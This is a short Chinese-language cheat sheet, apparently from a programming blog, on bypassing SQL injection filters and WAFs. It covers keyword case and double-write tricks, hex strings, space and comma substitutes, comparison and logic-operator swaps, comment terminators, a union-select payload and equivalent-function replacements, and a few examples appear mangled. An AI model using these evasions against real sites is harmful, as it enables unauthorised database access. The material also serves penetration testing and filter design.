1. 程式人生 > 其它 >SQL注入繞過

SQL注入繞過

常規繞過
⼤⼩寫繞過 SeLEcT
雙寫繞過 selselectect

字串繞過
16進位制
函式使⽤:
char(65)

空格繞過:
1、使⽤/**/,/1/,%0a,%0d替換
2、使⽤括號:
union(select(xxx)from(xxx)where(xxx)=xxx)
3、使用反引號:
selectxxxfromxxxwherexxx=xxx
4、使用內聯注入:
/!select//!id//!from//!user/
5、回車(url編碼中的%0a),tab(%09)

引號繞過:
1、16進位制繞過:
select * from xxx where name = 0x757365
2、弱型別⽐較:
select '1abc'=1

逗號繞過:
1、對於substr和mid函式使⽤from to繞過:
select substr(database() from 1 for 1)
2、聯合查詢使⽤join:
union select * from (select 1)a join (select 2)b
3、使⽤like,原來的mid(user(), 1, 1)=xxx可以替換為:
user() like 'r%’
4、limit可以使⽤offset繞過:
select * from xxx limit 1 offset 0

⽐較符號繞過:
1、使⽤greatest, least函式,前者返回最⼤值,後者返回最⼩值:
least(xxx, 64)=64 # xxx>=64
2、between and:
xxx between 1 and 1 # xxx=1
3、like,rlike,regexp:
xxx like 2 # xxx=2
xxx rlike '1' # xxx=1
xxx regexp '^1$' # xxx=1
4、> = <三者互相代替
5、<>等價於!=

邏輯⽐較繞過:
and使⽤&&代替
or使⽤||代替
xor使⽤|代替
not使⽤!代替

註釋繞過:
1、#
2、%00
3、-- 後⾯有⼀個空格,三個字元才組成註釋符
4、手動閉合:
id=1' union select 1,2,'3’

等價函式替換:
hex, bin <=> ascii
sleep <=> benchmark
concat_ws <=> group_concat
mid, substr <=> substring
@@user <=> user()
@@database <=> database()
left(xxx, 1)代替字串截斷,還有right

過濾 or and xor not 繞過:
and = &&
or = ||
xor = |
not = !

過濾 等號= 繞過
like:不加萬用字元的like執行的效果和=一致,所以可以用來繞過
regwxp:MYSQL中使用REGEXP操作符來進行正則表示式匹配

過濾函式繞過:
sleep() --> benchmark()
substr() --> substring()/mid()
substr() --> left(right())
right(left(‘abcd’,2),1) --> substr(“abcd”2,1)
ascii() --> ord()